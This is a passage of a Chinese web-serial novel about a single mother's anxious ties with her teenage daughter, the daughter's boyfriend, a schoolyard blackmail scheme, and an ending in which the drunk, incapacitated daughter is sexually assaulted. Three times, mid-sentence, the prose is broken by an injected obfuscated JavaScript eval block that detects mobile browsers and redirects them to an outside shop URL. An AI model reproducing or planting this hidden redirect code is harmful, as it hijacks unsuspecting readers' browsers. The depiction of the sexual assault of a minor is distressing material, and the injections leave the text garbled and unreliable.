窗外的路灯亮着,黄黄的光透进来。 她想起白天在高铁上看见的那些风景。 明明暗暗的。 现在好像是亮的时候。 20. 命运循环19 电影是女儿选的。 《你的婚礼》,海报上两个年轻的演员,男的帅女的美,背景是海边的夕阳。林小满看了一眼海报,心里咯噔一下。 青春片。爱情片。 但她没说什么,买了票,两杯可乐,一桶爆米花。 电影院人不多,她们那排就坐了三个人。左边是一对情侣,全程手拉着手。右边是个单独来的女孩,抱着包,一直在抹眼泪。 电影讲的是一个游泳运动员,为了追一个女孩,放弃了重要的比赛,错过了保送的机会,最后没能当上职业运动员。十几年后,女孩要结婚了,新郎不是他。 结局的时候,那女孩哭得稀里哗啦,旁边的情侣也抱在一起。林小满没哭,她侧过脸去看女儿。 女儿也没哭,但眼睛亮亮的,盯着屏幕。 散场了,灯亮了,人们往外走。 她们走在人群里,慢慢往外挪。林小满想开口说点什么,又不知道怎么说。一直走到外面广场上,她才开口。 “你觉得好看吗?” 女儿想了想。 “还行吧。” “男主角是不是挺可惜的?” 女儿看着她。 “什么可惜?” “为了那个女孩,放弃了比赛。要不是因为她,他可能就当上职业运动员了。” 女儿没说话。 她们走到广场边的长椅上坐下。天已经黑了,广场上有人在跳广场舞,音乐放得很大声。有人在遛狗,有小孩在跑来跑去。 林小满把可乐放在椅子边上,看着那些跳广场舞的人。 “你说他后悔吗?” 女儿问:“谁?” “男主角。” 女儿想了想。 “不知道。” “我觉得他后悔。”林小满说,“你看最后那段,他看着新娘穿婚纱的样子,那个眼神。” 女儿没说话。 林小满停了一下,假装不经意地问。 “对了,之前那个男孩子……你们还有联系吗?” 女儿转过头,看着她。 “你怎么又提他?” “我就是随便问问。” 女儿皱起眉头。 “你别老打听这些。” 林小满心里一紧,赶紧换了个话题。 “不是打听,我就是想知道……他们家是哪儿的?” 女儿看着她,眼神有点警惕。 “问这个干嘛?” “不干嘛,就是好奇。” 女儿沉默了几秒。 “就本地的。城东那边。” 林小满点点头。 “他多大了?” “比我大一岁。” “还上学吗?” 女儿又不说话了。 林小满知道自己问多了,赶紧往回拉。 “算了算了,不说这个。我就是看电影看的,瞎想。” 女儿的脸色缓和了一点。 林小满想了想,换了个角度。 “那你们学校呢?你那些闺蜜,有谈恋爱的吗?” 女儿撇撇嘴。 “有啊,好几个呢。” “是吗?她们都找什么样的?” “就……同学呗。或者隔壁班的。” “那她们跟男朋友都聊什么呀?” 女儿看了她一眼,那眼神像是在说“你怎么这么八卦”。 但过了一会儿,她还是开口了。 “就聊天呗。一起吃饭,一起写作业,周末一起出去玩。” “她们爸妈知道吗?” “有的知道,有的不知道。” “知道的不反对?” “反对有什么用?管不住。” 林小满听着这话,心里有点复杂。 管不住。 是啊,管不住。 她当年也管不住自己。她妈也管不住她。 “那她们跟男朋友……都到什么程度了?” 女儿瞪着她。 “你问这个干嘛?” “我就是好奇。你别多想。” 女儿沉默了一会儿。 “就……拉手呗。最多亲一下。” 林小满心里咯噔一下。 亲一下。 她想起自己十五岁的时候,也亲过。 然后是别的。 然后是那些再也回不来的东西。 “那个男生……他有没有跟你说过什么?” 女儿看着她。 “说什么?” “就是……他有没有明确跟你说过什么?比如喜欢你啊,想跟你在一起啊,以后怎么怎么样之类的。” 女儿的脸有点红。 “说过。” “说什么了?” “就说喜欢我呗。” “还有呢?” “还有……说以后考一个高中,一起上学。” 林小满看着她,看着这张年轻的脸,看着这双还没受过伤的眼睛。 “那你呢?你喜欢他什么?” 女儿愣了一下。 “什么?” “你喜欢他什么?他有什么优点?” 女儿想了想。 “他……对我好。” “怎么个好法?” “就是……他听我说话。我不高兴的时候他会哄我。他记得我喜欢吃什么。他……” 女儿停了一下。 “他跟我妈不一样。” 林小满愣住了。 “他从来不骂我。从来不问我考多少分。从来不逼我写作业。他让我做自己。” 林小满张了张嘴,没说出话来。 广场上的音乐还在响,有人在跳《最炫民族风》。一群小孩追着跑过去,笑声很尖。 她看着那些孩子,看着那些跳广场舞的老人,看着远处亮着灯的高楼。 然后她开口了,声音很轻。 “你知不知道,一个人对你好,可能是因为他喜欢你。但也有可能是因为……他没什么可给的。” 女儿转过头。 “什么意思?” “他给你的是陪伴,是哄你,是听你说话。这些当然好。但这些不需要成本。不需要他努力,不需要他负责,不需要他为将来打算。” 女儿皱起眉头。 “你是说他对我不是真心的?” “我没说不是真心。我是说……真心有很多种。有一种真心,是只想着现在。还有一种真心,是想着以后。” 女儿没说话。 “那些只想着现在的,他会让你开心。他会陪你笑,陪你闹,陪你做你想做的事。但他不会告诉你,那些事做完了以后怎么办。” 林小满转过头,看着女儿。 “你想过以后吗?” 女儿看着她,眼睛里有东西在闪。 “以后怎么了?” “以后你上高中,他上哪儿?以后你考大学,他考哪儿?以后你工作,他干什么?以后你们在一起,谁养家?谁带孩子?谁管那些柴米油盐?” 女儿不说话了。 “他跟你说的那些,以后考一个高中,一起上学。听着挺好,但他有没有说过,如果考不上一个高中怎么办?如果他成绩不好,考不上,你怎么办?你等他吗?你为了他放弃更好的学校吗?” 女儿的眼眶有点红。 “你为什么要说这些?” “因为我不想你走我的老路。” 林小满的声音有点抖。 “妈以前也遇到过一个男的。他也对我好,也给我买吃的,也哄我开心。他也说喜欢我,说养我。我信了。” 女儿的眼泪流下来。 “然后呢?” “然后我十五岁怀孕,一个人去打胎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347238|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。然后我辍学,结婚,被抛弃,一个人养孩子。然后我到现在,三十岁,还在打工,还在加班,还在为钱发愁。” 林小满的眼眶也红了。 “我不是说那个男的一定会这样。我是说,你太小了。你不知道一个人对你好,背后可能藏着什么。” 女儿低着头,不说话。 林小满伸手,想摸摸她的头,又收回来了。 “妈不是反对你交朋友。妈只是希望你想清楚。你想清楚你喜欢他什么,想清楚他值不值得,想清楚以后的路怎么走。” 女儿抬起头,看着她。 “那你怎么知道以后的事?” 林小满愣了一下。 “你怎么知道他会变?你怎么知道他以后会对我不好?你怎么知道我们不能一直在一起?” 林小满张了张嘴,答不上来。 “你是因为自己遇人不淑,就觉得所有人都会这样。你是因为自己被骗过,就觉得所有人都在骗我。你是因为自己过得不好,就觉得我也会过得不好。” 女儿的声音抖起来。 “你就这么看不起我?” 林小满愣住了。 “不是……” “你就是。你从来都不相信我。你从来都觉得我会跟你一样。你从来都觉得我不行。” 女儿的眼泪流得满脸都是。 林小满想抱她,被她躲开了。 “你放心,我不会跟你一样的。” 女儿站起来。 “我不会怀孕。我不会辍学。我不会结婚那么早。我不会被人骗。你放心。” 她转身就走。 林小满追上去。 “你去哪?” “回家。” “我跟你一起。” “不用。” 林小满拉住她。 “你别走。” 女儿挣了一下,没挣开。 “你放开。” “你听我说完。” 女儿站住了。 林小满看着她,看着她的眼泪,看着她的倔强,看着那张跟自己年轻时一模一样的脸。 “妈信你。” 女儿愣住了。 “妈信你。你不会跟我一样。你比我聪明,比我懂事,比我会看人。你不会走我的老路。” 女儿的眼泪又流下来。 “但妈还是担心。不是因为看不起你,是因为……妈太知道这世界有多难了。太知道一个人要面对什么了。太知道那些笑着对你好的人,后来会变成什么样了。” 她伸手,轻轻擦掉女儿的眼泪。 “妈不是想管你。妈是想保护你。但妈不会保护。妈只会管,只会骂,只会锁门。妈知道这样不对,但妈改得慢。” 女儿看着她,不说话。 “你给妈一点时间。妈学着改。你也学着……别那么快跑。行吗?” 女儿沉默了很久。 然后她轻轻点了一下头。 广场上的音乐换了,变成一首慢的。 有人在跳交谊舞,成双成对的,慢慢转着圈。 她们站在那儿,谁也没动。 路灯亮着,把她们的身影拉得很长。 林小满看着女儿,看着她红红的眼眶,看着她还没干的泪痕。 “回家吧。” “嗯。” 她们并肩往回走。 走过广场,走过马路,走过小区门口,走过那些亮着灯的高楼。 谁也没说话。 但林小满知道,有些话,女儿听进去了。 至于能听进去多少,她不知道。 她只知道自己得继续改。 改那些控制欲,改那些急脾气,改那些脱口而出的话。 很难。 但得改。 因为女儿在那儿等着她。 等着她变成一个更好的妈妈。 21. 命运循环20 九月开学,女儿初三了。 林小满请了一天假,专门送她去学校。住校,大包小包,被子褥子脸盆毛巾牙刷,塞满了后备箱和后座。 “妈,你带这么多干嘛?学校有卖的。” “学校的不好,自己带的舒服。” 女儿撇撇嘴,没再说话。 车开到学校门口,不让进。她们把东西卸下来,用小车推着往里走。宿舍在五楼,没有电梯,爬上去的时候两个人都喘。 宿舍八个人,上下铺。女儿的床在下铺,靠窗。林小满帮她把床铺好,把东西归置好,把柜子擦干净。 “行了,差不多了。” 女儿坐在床上,看着她忙活。 “妈,你回去吧。” 林小满看看表,快中午了。 “你中午吃什么?” “食堂。” “有钱吗?” “有,你上周给的了。” 林小满还是不放心,从钱包里又掏出两百块,塞给她。 “拿着,万一不够。” 女儿看着那两百块,没说话,接过去,放进口袋里。 林小满站在那儿,不知道还能干点什么。 “那……我走了?” “嗯。” “有事给我打电话。” “知道。” “好好学习。” “知道。” “别……” 她停住了。 别说早恋?别跟那个男生联系?别做傻事? 她没说。 女儿看着她,眼神里有点什么,说不上来。 “妈,你放心。” 林小满愣了一下。 “我知道该怎么做。” 林小满点点头,转身走了。 下楼的时候她回头看了一眼,女儿站在宿舍门口,朝她挥了挥手。 她笑了笑,继续往下走。 走到楼下,阳光很晃眼。她站在那儿,眯着眼睛看了一会儿宿舍楼。 五楼,靠窗那个,就是女儿的房间。 窗户开着,看不见人。 她站了一会儿,转身走了。 回去的路上,心里空落落的。 这么多年,女儿从来没离开过她。小学在门口,初中走读,天天见。现在住校了,一周才能见一次。 她不知道是该高兴还是该难过。 但日子还得过。 上班,下班,加班,吃饭,睡觉。 一周一周,就这么过去了。 女儿住校以后,她们的联系变成电话和微信。 每天晚上九点半,女儿会打个电话过来。 “妈,睡了没?” “没呢,你刚下晚自习?” “嗯。” “吃饭了吗?” “吃了。” “累不累?” “还行。” “作业多吗?” “还行。” 然后就是沉默。 不知道说什么。 但又不想挂。 有时候女儿会说点学校的事,说老师今天骂谁了,说食堂今天的菜不好吃,说宿舍谁谁谁半夜打呼噜。林小满就听着,嗯嗯啊啊地应,偶尔问两句。 电话一般打十分钟左右,然后女儿说“我去洗漱了”,就挂了。 林小满握着手机,听着那边的忙音,发一会儿呆。 然后继续干活。 日子就这么过着,平平淡淡。 第一次月考成绩出来,女儿班上第十八名。年级排名不知道,没公布。 林小满看了成绩单,语文数学英语都还行,就是物理差了点。 她给班主任打了个电话。 “老师,林小满最近在学校怎么样?” 班主任是新的,年轻女老师,说话很快。 “林小满啊,挺好的。上课认真,作业按时交,跟同学关系也不错。就是物理有点弱,我让她多问问老师。” “那她……有没有跟什么男生走得近?” 班主任笑了一下。 “林小满妈妈,你别担心。她挺乖的,没发现什么异常。再说了,初三了,大家都忙着学习,哪有时间谈恋爱?” 林小满听着这话,心里稍微安了一点。 “那就好。麻烦老师多关照。” “应该的。您放心。” 挂了电话,她坐在那儿,发了一会儿呆。 班主任说“挺乖的”。 她不知道是该信还是不该信。 女儿在她面前可不乖。 但也许在学校真的乖呢? 她不知道。 只能信。 期中考试,女儿进步了,班上第十四名。 林小满看着成绩单,心里有点高兴。 她给女儿发了条消息:考得不错,周末回来给你做好吃的。 女儿回:我想吃红烧肉。 她回:行。 周末女儿回来,她做了红烧肉,还做了糖醋排骨,还炖了鸡汤。满满一桌,女儿吃得很香。 “妈,你手艺越来越好了。” 林小满看着她吃,心里很满足。 “在学校吃不好吧?” “还行,就是没你做的好吃。” 林小满笑了。 吃完饭,女儿窝在沙发上玩手机。林小满在旁边收拾碗筷,时不时看她一眼。 手机屏幕亮着,女儿在聊天,一边聊一边笑。 林小满想问是谁,又忍住了。 不能问。问了又要吵。 她继续洗碗。 洗完碗出来,女儿还在聊。 她走过去,在旁边坐下。 “跟谁聊呢?” 女儿抬头看她一眼。 “同学。” “男的女的?” 女儿愣了一下,然后说:“女的。” 林小满知道她在撒谎。 但她没戳穿。 “作业写完了吗?” “写完了。” “那……早点睡?” “嗯。” 女儿站起来,进了自己屋。 门关上了。 林小满坐在沙发上,看着那扇关上的门,发了一会儿呆。 然后她去洗澡,睡觉。 第二天,她带女儿去游乐场。 这是之前答应过的。女儿说想去,她就买了票。 游乐场人很多,每个项目都排队。她们排了半小时,坐了过山车。女儿吓得尖叫,她在旁边笑。坐了旋转木马,女儿说幼稚,但坐上去还是笑了。坐了摩天轮,到最高点的时候,女儿看着窗外,说:“妈,你看,好远。” 林小满顺着她指的方向看过去,确实好远。能看到整个城市,看到远处的山,看到天上飘着的云。 “好看吗?” “嗯。” 林小满看着她,看着她侧脸的线条,看着她眼睛里映着的风景。 “以后你去更远的地方,看到的会比这个还好看。” 女儿转过头,看着她。 “什么意思?” “好好学习,考个好高中,考个好大学,去更远的地方,看更好的风景。” 女儿沉默了一会儿。 “妈,你是不是又想教育我?” 林小满笑了。 “不是教育,是真的。” 女儿没说话,继续看着窗外。 摩天轮慢慢转下去,她们下来了。 下一个项目是激流勇进,也排了很久的队。排队的时候人挤人,林小满被挤得东倒西歪。 突然她感觉有什么东西碰了一下她的屁股。 她回头,后面是个中年男人,戴着眼镜,看着手机。 她以为是不小心,往前挪了挪。 又碰了一下。 这回她确定了。 她猛地回头,瞪着那个男人。 男人还在看手机,一脸无辜。 “你干嘛?” 男人抬起头,看着她。 “什么干嘛?” “你刚才碰我。” 男人皱起眉头。 “碰你?排队不就这样,挤来挤去的,谁碰谁不是正常?” 林小满的火气一下就上来了。 “你那是正常碰?” “那是什么?你说我什么?” 旁边的人开始往这边看。 女儿也回过头。 “妈,怎么了?” 林小满看着女儿,看着那张年轻的脸,看着她眼睛里的担心。 她把话咽回去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347239|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没事,就是太挤了。” 她拉着女儿,往前挤了挤,离那个男人远了一点。 男人在后面哼了一声,没再说话。 排队继续。 但林小满一直能感觉到那个男人的视线,在她身上扫来扫去。 她没回头。 她只是把女儿护在身前,用自己的身体挡住那些视线。 玩完激流勇进,她们出来了。 “妈,你刚才怎么了?” “没事,就是太挤了。” 女儿看了她一眼,没再问。 她们继续玩。碰碰车,海盗船,鬼屋。玩到天黑,玩到累得走不动。 出园的时候,天已经全黑了。门口有卖气球的,有卖棉花糖的,有卖荧光棒的。女儿买了一个棉花糖,一边走一边吃。 “妈,今天真开心。” 林小满看着她,看着她吃棉花糖的样子,看着她眼睛里亮晶晶的光。 “开心就好。” “下次还来吗?” “来。” “真的?” “真的。” 女儿笑了,笑得很好看。 回到家,女儿洗完澡就睡了。玩了一天,累坏了。 林小满坐在客厅里,没睡。 她想着白天的事,想着那个男人的手,想着那些视线。 恶心。 但她没说。 她不能让女儿知道。不能让女儿知道这世界有多恶心。 她只能自己扛。 手机震了一下。 她拿起来看,是女儿的手机落在沙发上,屏幕亮着。 一条微信消息。 头像是那个男生,名字是一个字母:L。 内容:宝贝,周末出来玩吗?我知道一个地方,没人,就咱俩。 林小满的心一紧。 她盯着那行字,盯了很久。 然后她把手机放下,没看回复。 不看了。 看了又能怎样? 吵?骂?锁门? 没用。 她只能相信女儿。 相信她说的那句“你放心”。 她坐在那儿,坐了很久。 久到手机又震了一下。 她又拿起来看。 还是那个男生的。 这次发了两条。 第一条:你怎么不回我? 第二条:你不是说喜欢我吗?出来玩玩怎么了? 林小满的手在抖。 她忍住了,没翻聊天记录。 她把手机放回去,继续坐着。 过了一会儿,女儿的手机又震了。 这回是女儿自己醒的,出来上厕所,看见她坐在客厅。 “妈,你怎么还不睡?” “马上睡。” 女儿走过来,拿起手机,看了一眼。 她的脸色变了一下。 然后她把手机揣进口袋里。 “我去厕所。” 她进了厕所,门关上了。 林小满坐在那儿,听着厕所里的水声。 过了一会儿,女儿出来了。 “妈,我睡了。” “嗯。” 女儿进了自己屋,门关上了。 林小满还坐在那儿。 她不知道女儿回复了什么。 她不知道女儿会不会答应。 她不知道那些她担心的事,会不会发生。 她只知道,她现在什么都做不了。 只能等。 等女儿长大,等女儿懂事,等女儿自己学会保护自己。 但那一天什么时候来? 她不知道。 她站起来,走回自己屋,躺下。 看着天花板。 天花板上什么都没有,还是白白的。 但她好像又看见了那条裂缝。 从墙角,一直延伸到灯座。 像一条河。 她沿着那条河,又走回了十五岁。 走回了那个出租屋,那张床,那个人。 那些她不想记起的事。 她闭上眼睛。 眼泪从眼角流下来,流到枕头里。 她没擦。 就那么躺着。 等着天亮。 22. 命运循环21 晚自习下课铃响的时候,林妍把笔一放,站起来往外走。 同桌看了她一眼:“你去哪?” “透透气。” 她走出教室,走下楼梯,穿过教学楼前的空地,往操场走。 九月底的晚上有点凉,风吹过来,带着一点桂花香。操场上没什么人,只有几盏路灯亮着,把跑道照得昏黄昏黄的。 她走到主席台旁边,站住了。 那里有个人影,靠在栏杆上,在看手机。 听见脚步声,他抬起头。 “来了?” “嗯。” 他叫陈文浩,隔壁班的,体育生,短头发,眼睛很亮。 他们在操场散步。 不是牵手那种,就是并排走,慢慢走,一圈一圈走。 “今天训练累不累?”林妍问。 “还行。跑了个五公里,习惯了。” “我们班今天考试,考数学,难死了。” “你考得咋样?” “不知道,反正写完了。” 陈文浩笑了一下,露出一颗小虎牙。 “你肯定行。” 林妍没说话,心里有点高兴。 走完两圈,他们在看台边上坐下来。 操场上更安静了,只有远处的宿舍楼亮着灯,还有偶尔传来的几声猫叫。 “我跟你说个事。”陈文浩说。 “什么事?” “我下周生日。” 林妍转过头看着他。 “你想让我送你礼物?” 陈文浩笑了。 “不是。我是说,下周我生日那天,晚自习下课,咱们去小花园坐坐?那儿没人。” 林妍愣了一下。 小花园在学校东边,种着好多树,还有假山和亭子。白天有人去,晚上没人敢去,太黑了。 “去那儿干嘛?” “聊天啊。那儿安静。” 林妍看着他,看着他那双亮亮的眼睛,心里有点慌。 “就聊天?” “就聊天。你想干嘛?” 林妍脸红了。 “我没想干嘛。” 陈文浩笑得更开心了。 “那说定了。下周三,晚自习下课,小花园见。” 林妍点点头。 远处传来宿管阿姨的哨声,该回宿舍了。 他们站起来,往宿舍楼走。 走到分岔路口,周辰停下来。 “妍妍。” “嗯?” “你……小心点。” 林妍愣了一下。 “小心什么?” 陈文浩没回答,只是看了她一眼,然后转身走了。 林妍站在原地,看着他的背影消失在路灯尽头。 心里有点奇怪。 但没多想。 第二天,她课桌里多了一张纸条。 不是写的,是打印的,字是宋体,普通得不能再普通。 纸条上只有几行字: “昨天晚上,操场,主席台旁边,看台边上。我都看见了。告诉老师你们谈恋爱,让你们写检讨,叫家长。” 林妍的手一下子凉了。 她抬起头,四处看。 教室里有人在聊天,有人在写作业,有人在睡觉。一切正常。 谁写的? 她不知道。 她把纸条揉成一团,塞进口袋里。 一整天都没心思听课。 下课的时候她偷偷把纸条拿出来看,看了好几遍。每个字都认识,但每个字都像针一样扎着她。 告诉老师。写检讨。叫家长。 她想起妈妈。 想起那些吵过的架,锁过的门,流过的眼泪。 不能让她知道。 绝对不能。 下午第三节课后,她去找周辰。 陈文浩在操场训练,穿着背心,跑得满头大汗。看见她来,愣了一下,跑过来。 “怎么了?” 她把他拉到一边,把纸条给他看。 陈文浩看了,脸色变了。 “谁写的?” “不知道。” “什么时候发现的?” “今天早上,在我课桌里。” 陈文浩皱着眉头,把纸条翻来覆去看了好几遍。 “这字是打印的,看不出来。” “怎么办?” 陈文浩沉默了一会儿。 “你别怕,有我呢。” “有你有什么用?他要是告诉老师,咱俩都完蛋。” 陈文浩看着她,看着她的眼眶有点红。 “你相信我。我有办法。” 林妍看着他。 “什么办法?” 陈文浩没回答。 他只是说:“你等着。” 晚上,林妍在宿舍里,一直睡不着。 她不知道陈文浩有什么办法。 她只知道她害怕。 第二天,又一张纸条出现在她课桌里。 这回是手写的,字迹歪歪扭扭: “你男朋友来找我了。没用。不给我好处,我就去告老师。三百块,封口费。明天晚上放学前,放到操场主席台下面那块砖头底下。不然,等着叫家长吧。” 林妍的手在抖。 三百块。 她没有三百块。 她连三十块都没有。 她去找陈文浩。 陈文浩看了纸条,脸色更难看了。 “他敲诈我们?” “怎么办?” 陈文浩沉默了很久。 然后他抬起头,看着她。 “我有个办法,但……你得帮我。” “什么办法?” “你知道他谁吗?” “不知道。” “我知道。”陈文浩说,“三班的,李浩。就那个戴眼镜的,天天鬼鬼祟祟那个。” 林妍想了想,好像是有这么个人。瘦瘦的,戴眼镜,不爱说话。 “你怎么知道?” “我昨天在操场蹲了一晚上,看见他去主席台那边鬼鬼祟祟的。我就跟着他,看见他把纸条塞你课桌里。” 林妍愣住了。 “然后呢?” “然后我查了查他。你知道他干什么吗?” 林妍摇头。 “他偷钥匙。” “偷钥匙?” “对。偷老师办公室的钥匙,偷印卷子。然后卖给别的学校的人。” 林妍的眼睛瞪大了。 “什么?” “他们有个团伙,专门偷题卖钱。这次期中考试的题,他们已经卖了。答案都卖出去了。” 林妍张着嘴,说不出话。 陈文浩看着她。 “现在你知道怎么办了吗?” 林妍想了想,慢慢明白过来。 “你是说……威胁他?” “对。他敲诈我们,我们就敲诈他。他敢告老师,我们就把他偷题的事抖出来。看谁更怕。” 林妍的心跳得很快。 这太疯狂了。 但她没有别的办法。 “行。” 晚上,她去找李浩。 在操场后面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347240|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小树林里,李浩站在那儿,等着她。 看见她来,他笑了一下,笑得很难看。 “钱带来了?” 林妍看着他,看着他那张瘦瘦的脸,看着他那副眼镜后面躲闪的眼睛。 “我没有钱。” 李浩的脸色变了。 “没有钱?那你来干嘛?” “我来告诉你一件事。” “什么事?” “你偷题的事,我知道了。” 李浩愣住了。 “什么偷题?” “别装了。你偷老师办公室钥匙,偷印卷子,卖给别的学校。你们好几个人一起干,卖了好几科了。” 李浩的脸一下子白了。 “你……你怎么知道?” “你别管我怎么知道。你就知道一件事:你要是敢告老师,我就把你的事也抖出来。” 李浩张着嘴,说不出话。 林妍看着他,看着他那张变白的脸,看着他那双慌乱的眼睛。 她突然觉得自己很厉害。 从来没有这么厉害过。 “咱们两清。你当什么都没看见,我当你什么都没干。行不行?” 李浩沉默了很久。 然后他点了点头。 林妍转身就走。 走出小树林,走出操场,走进宿舍楼。 一路上她的腿都在抖。 但她的背挺得很直。 回到宿舍,她躺在床上,看着天花板。 天花板上什么都没有,就是白白的。 但她脑子里乱成一团。 她想起李浩那张变白的脸,想起周辰说的那些话,想起自己说的那些话。 她威胁了别人。 她成了自己最不想成为的那种人。 但她没办法。 她不能让妈妈知道。 妈妈会伤心,会失望,会生气。 她不能让妈妈再生气了。 她闭上眼睛,眼泪从眼角流下来。 但她没出声。 只是躺着,等着天亮。 周末回家,她装作什么都没发生。 妈妈做了红烧肉,做了糖醋排骨,做了她爱吃的所有东西。 她吃着,笑着,说着学校的事。 说老师今天骂谁了,说食堂今天的菜不好吃,说宿舍谁谁谁半夜打呼噜。 就是没说纸条的事,没说李浩的事,没说周辰的事。 妈妈听着,嗯嗯啊啊地应着。 吃完饭,她窝在沙发上玩手机。 妈妈在旁边看电视。 很安静。 很平常。 她看着妈妈,看着妈妈看电视的侧脸,看着妈妈眼角细细的皱纹。 她想说点什么。 但张了张嘴,又闭上了。 不能说。 说出来就完了。 她继续低头看手机。 手机上有陈文浩发的消息:没事了吧? 她回:嗯。 陈文浩又发:以后小心点。 她回:你也是。 然后把手机放下。 窗外天黑了,路灯亮了。 她看着那片黄黄的光,发了一会儿呆。 妈妈在旁边问:“想什么呢?” 她转过头,笑了一下。 “没什么。” 然后又低下头。 继续看手机。 继续当什么都没发生。 但心里那件事,一直在那儿。 像一块石头,压着。 沉沉的。 喘不过气。 23. 命运循环22 林妍出门的时候,天已经黑了。 “妈,我去同学家写作业。” 林小满在厨房洗碗,探出头来看了她一眼。 “哪个同学?” “林悦。” “几点回来?” “九点吧。” 林妍点点头。 “早点回来。” “知道了。” 门关上了。 林妍站在楼道里,深吸一口气。 她骗了妈妈。 不是去林悦家,是去陈文浩的生日聚会。 文浩说了好多次,她一直没答应。但今天是他的生日,他说了很多话,说得她心软了。 “就这一次。以后不让你去。” “我朋友都想见见你。” “你是我女朋友,不来不合适。” 女朋友。 她喜欢这个称呼。 她走出小区,打了辆车,报了地址。 司机是个中年男人,从后视镜里看了她一眼,没说话。 车开了二十分钟,停在一个路口。 “到了。” 她付了钱,下车。 街边有一排店铺,亮着五颜六色的灯。有个门面特别亮,上面写着几个字,她没看清,只看见门口站着几个人,抽烟,说话,笑得很响。 陈文浩站在门口,看见她,跑过来。 “来了?” “嗯。” 他拉着她的手,往里走。 里面很吵,音乐声很大,说话要凑到耳朵边才能听见。灯光忽明忽暗,红的绿的紫的,晃得人眼睛疼。 包间在最里面,推开门,一股烟味酒味混在一起冲出来。 里面坐了七八个人,男的多,女的少。看见她进来,都抬起头。 “哟,嫂子来了!” “嫂子好!” “快坐快坐!” 林妍脸红了。 陈文浩把她按在沙发上,自己坐在旁边。 “这是我女朋友,林妍。” 那些人起哄,鼓掌,吹口哨。 一个染黄头发的男生递过来一瓶酒。 “嫂子,初次见面,喝一个。” 林妍摆手。 “我不喝酒。” “不喝酒?那怎么行?今天辰哥生日,不喝酒不给面子啊。” “我真的不会喝。” “不会喝没关系,学嘛。来,一小口。” 黄头发把酒瓶往她手里塞。 林妍看着那瓶酒,黄色的液体,冒着气泡,闻着有一股甜味。 “这是啥?” “果酒,甜的,好喝。你尝尝。” 她接过酒瓶,抿了一小口。 确实甜,像饮料。 “喝了喝了!嫂子给面子!” 那些人又起哄。 林妍笑了一下,把酒瓶放下。 旁边一个女孩凑过来,挽着她的胳膊。 “妍妍是吧?我叫小美,文浩哥朋友的女朋友。你别紧张,他们都闹着玩的。” 林妍点点头。 小美比她大一点,化着妆,眼影亮亮的,笑起来很好看。 “你喝过酒吗?” “没有。” “那少喝点,别让他们灌你。” 林妍心里一暖。 “谢谢。” 酒过三巡,那些人越来越闹。 “嫂子,再喝一个!” “嫂子,这杯敬你!” “嫂子,你跟辰哥怎么认识的?” 林妍被围着,一瓶一瓶地喝。 果酒,啤酒,还有不知道是什么的酒。 甜的,苦的,辣的。 喝得头开始晕,脸开始烫,眼睛开始看不清。 “我……我不行了。” “不行不行,这才哪到哪?文浩哥生日,你不得陪到底?” “对,陪到底!” 又是一瓶递过来。 林妍接过来,喝了一口,呛得咳嗽。 陈文浩在旁边看着,没说话。 她转过头看他,他也在看她。那眼神她说不上来是什么。有点担心,有点别的什么。 “文浩……” “没事,喝吧。开心点。” 她又喝了一口。 不知道过了多久,她靠在沙发上,动不了了。 头重得像灌了铅,眼皮沉得睁不开。周围的声音变得很远,嗡嗡嗡的,像隔着一层水。 有人在她耳边说话,听不清。 有人扶她起来,她站不住,软软地往下滑。 然后被架着,往外走。 风一吹,有点清醒,但只是一瞬间。 又被架着往前走。 然后上了一辆车。 然后到了什么地方。 然后被放在一张床上。 很软,很白,有一股消毒水的味道。 她想睁眼,睁不开。 想动,动不了。 想说话,说不出来。 只有意识,一点点,浮浮沉沉。 她感觉到有人在脱她的衣服。 感觉到有人在碰她。 感觉到疼。 想推,推不动。 想喊,喊不出。 眼泪流下来,流到耳朵里,湿湿的。 不知道过了多久。 久到她以为自己在做梦。 一个噩梦。 手机响了。 铃声很远,又很近。 一遍,两遍,三遍。 她睁开眼。 天花板上是白的,有一盏灯,没开。 她转过头,看见陈文浩坐在床边,拿着她的手机,把电话挂了。 “你醒了?” 她看着他,看着他的脸,看着他的眼睛。 然后她低头看自己。 没穿衣服。 身上有痕迹。 她全明白了。 “你……你干什么了?” 陈文浩看着她,不说话。 她坐起来,用被子把自己裹住。 “你干什么了?” “妍妍,你听我说……” “你干什么了?” 她的声音尖起来,浑身发抖。 “你喝多了,我送你回来。然后……然后我没忍住。” “没忍住?你没忍住?” 她看着这个男人,这个她喜欢过的男人,这张她看过的脸。 现在她觉得恶心。 “我要回家。” 她掀开被子,找衣服。 陈文浩拉住她。 “妍妍,你别这样。” “放开我!” 她挣开他的手,继续找衣服。 衣服在地上,乱七八糟的。她捡起来,手抖得穿不上。 陈文浩又拉住她。 